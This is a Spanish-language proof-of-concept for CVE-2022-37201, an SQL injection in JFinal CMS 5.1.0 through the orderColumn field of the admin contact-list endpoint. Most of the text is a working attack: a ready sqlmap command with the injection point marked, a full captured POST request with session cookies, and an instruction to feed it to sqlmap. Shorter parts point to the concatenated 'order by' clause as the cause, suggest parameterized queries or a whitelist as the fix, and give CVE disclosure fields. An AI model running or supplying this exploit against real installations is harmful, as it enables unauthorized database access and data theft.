
CVE-2022-37201 POC
CVE-2022-37201 POC
Primero que todo, debes instalar sqlmap.
Necesitas configurar:
Luego ejecuta el shell:
sqlmap -u http://targetDomainOrIP/jfinal_cms/jfinal_cms/admin/contact/list --thread 8 --batch --smart --random-agent --data "
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10" --cookie " your cookie " --current-db
image-20220730053527316
A veces debes saber que /jfinal_cms/ no es necesario, debes juzgar la ruta.
Puedes ver el código de la interfaz /system/menu/list
sql.append(" order by ").append(orderBy);
Hay una sentencia SQL directamente concatenada.
Es más, no hay medida para prevenir la inyección SQL porque aquí se requiere la inyección SQL.
Al analizar este punto de función, descubrí que la inyección de orderby está fija, como id, name, menu key, por lo que puedes intentar usar consultas parametrizadas o hacer una lista blanca.
Mi prueba
POST /jfinal_cms/admin/contact/list HTTP/1.1
Host: 172.30.48.1
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.30.48.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.30.48.1/jfinal_cms/admin/contact/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BF13B42EDFC3DEC180959D6DF143BD18; Hm_lvt_1040d081eea13b44d84a4af639640d51=1659122360; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="
Connection: close
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10
¡Ejecútalo en sqlmap!!! Usa -r
[Descripción sugerida] JFinal CMS 5.1.0 es vulnerable a Inyección SQL.
[Información adicional] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md
[Tipo de vulnerabilidad] Inyección SQL
[Vendedor del producto] el grupo de desarrollo
[Código base del producto afectado] https://github.com/jflyfox/jfinal_cms - JFinal CMS 5.1.0
[Componente afectado] Estas interfaces no usan el mismo componente, ni tienen filtros, sino que cada una utiliza su propio método de concatenación SQL, lo que resulta en inyección SQL.
[Tipo de ataque] Remoto
[Impacto Ejecución de código] verdadero
[Impacto Divulgación de información] verdadero
[Vectores de ataque] Se requiere inicio de sesión de usuario
[Referencia] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md
[Descubridor] jw5t